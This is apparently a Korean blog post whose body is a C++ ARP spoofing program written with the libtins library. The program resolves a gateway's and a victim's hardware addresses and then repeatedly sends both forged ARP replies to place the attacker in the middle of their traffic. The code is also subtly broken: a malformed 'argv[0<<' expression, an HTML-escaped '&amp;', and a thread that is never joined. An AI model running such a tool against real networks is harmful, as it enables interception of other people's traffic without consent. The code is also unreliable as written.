반응형
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include<iostream>
#include<unistd.h>
#include<tins/tins.h>
#include<thread>
 
using namespace std;
using namespace Tins;
 
void doArpSpoofing(NetworkInterface iface,
                    IPv4Address gw,
                    IPv4Address victim,
                    NetworkInterface::Info info)
{
    PacketSender send;
    EthernetII::address_type gw_hw,victim_hw;
 
    gw_hw = Utils::resolve_hwaddr(iface,gw,send);
    victim_hw = Utils::resolve_hwaddr(iface,victim,send);
 
    cout << "[*] Using Gateway HW Address   " << gw_hw << endl;
    cout << "[*] Using Victim HW Address    " << victim_hw << endl;
    cout << "[*] Using Own HW Address       " << info.hw_addr << endl;
    ARP gw_arp = ARP(gw,victim,gw_hw,info.hw_addr);
    ARP victim_arp = ARP(victim,gw,victim_hw,info.hw_addr);
    gw_arp.opcode(ARP::REPLY);
    victim_arp.opcode(ARP::REPLY);
    EthernetII to_gw = EthernetII(gw_hw,info.hw_addr) / gw_arp;
    EthernetII to_victim = EthernetII(victim_hw,info.hw_addr) / victim_arp;
 
    while(true){
        cout << "[-] Send Corrupt ARP" << endl;
        send.send(to_gw,iface);
        send.send(to_victim,iface);
        sleep(5);
    }
}
int main(int argc, char* argv[])
{
    IPv4Address gw, victim;
    if(argc != 3){
        cout << "[-] Usage " << argv[0<< " <Gateway> <Victim>" << endl;
        return 1;
    }
    try {
        gw = argv[1];
        victim = argv[2];
    }
    catch(...){
        cout << "[!] Wrong IP Finded!" << endl;
        return 2;
    }
    NetworkInterface iface;
    NetworkInterface::Info info;
    try {
        iface = gw;
        info = iface.info();
    }
    catch(runtime_error& e){
        cout << "[!] " << e.what() << endl;
        return 3;
    }
    cout << "[-] Starting ARP Spoofing..." << endl;
 
    thread t(&amp;doArpSpoofing,iface,gw,victim,info);
 
 
    return 0;
}
 
 
cs


'Network' 카테고리의 다른 글

WinPcap 4  (0) 2016.02.23
WinPcap 3  (0) 2016.02.23
WinPcap 2  (0) 2016.02.23
WinPcap 1  (0) 2016.02.23
패킷 캡슐화 구현  (0) 2015.11.20

+ Recent posts